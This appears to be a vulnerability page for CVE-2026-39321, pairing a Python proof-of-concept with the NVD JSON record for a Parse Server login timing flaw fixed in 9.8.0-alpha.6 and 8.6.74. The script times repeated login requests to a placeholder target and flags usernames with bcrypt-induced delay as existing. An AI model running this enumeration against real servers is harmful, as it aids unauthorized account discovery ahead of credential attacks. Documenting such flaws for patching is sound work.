CVE-2026-39321

import requests import time # Target configuration TARGET_URL = "http://target-server.com/parse/login" USERNAMES = ["admin", "user", "test"] # Function to test timing for a specific username def check_username_timing(username): payload = { "username": username, "password": "random_password_to_trigger_check" } headers = { "Content-Type": "application/json" } start_time = time.time() try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") return 0 end_time = time.time() elapsed_time = end_time - start_time return elapsed_time # Analyze timing for each username for user in USERNAMES: # Run multiple times to get average durations = [] for _ in range(5): duration = check_username_timing(user) if duration > 0: durations.append(duration) time.sleep(0.5) # Small delay between requests if durations: avg_duration = sum(durations) / len(durations) print(f"Username: {user}, Avg Response Time: {avg_duration:.4f}s") # If avg_duration > Threshold (e.g., 0.2s), user likely exists if avg_duration > 0.2: print(f"[+] User '{user}' likely exists (Bcrypt delay detected)") else: print(f"[-] User '{user}' likely does not exist")

{"cve": {"id": "CVE-2026-39321", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:43.090", "lastModified": "2026-04-15T17:20:11.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.8.0-alpha.6 and 8.6.74, he login endpoint response time differs measurably depending on whether the submitted username or email exists in the database. When a user is not found, the server responds immediately. When a user exists but the password is wrong, a bcrypt comparison runs first, adding significant latency. This timing difference allows an unauthenticated attacker to enumerate valid usernames. This vulnerability is fixed in 9.8.0-alpha.6 and 8.6.74."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.74", "matchCriteriaId": "09BF568A-BD39-48BE-A23A-059EC90E2F98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.8.0", "matchCriteriaId": "505A2B01-2F11-48C8-BA71-66D6FEB856B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "510B10D0-84FF-464C-A94F-2A81B4C82DA6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha2:*:*:*:node.js:*:*", "matchCriteriaId": "65C4D465-733A-464D-8BDC-BA29669CF48B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha3:*:*:*:node.js:*:*", "matchCriteriaId": "D125D774-F201-4028-8929-E5613205E151"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha4:*:*:*:node.js:*:*", "matchCriteriaId": "E71F69E4-172B-4E46-B96D-FE4268E0E3B3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha5:*:*:*:node.js:*:*", "matchCriteriaId": "820B096D-053D-47A3-9E8B-65DF698221C0"}]}]}], "references": [{"url": "https://github.com/parse-community/parse-server/pull/10398", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/parse-community/parse-server/pull/10399", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-mmpq-5hcv-hf2v", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}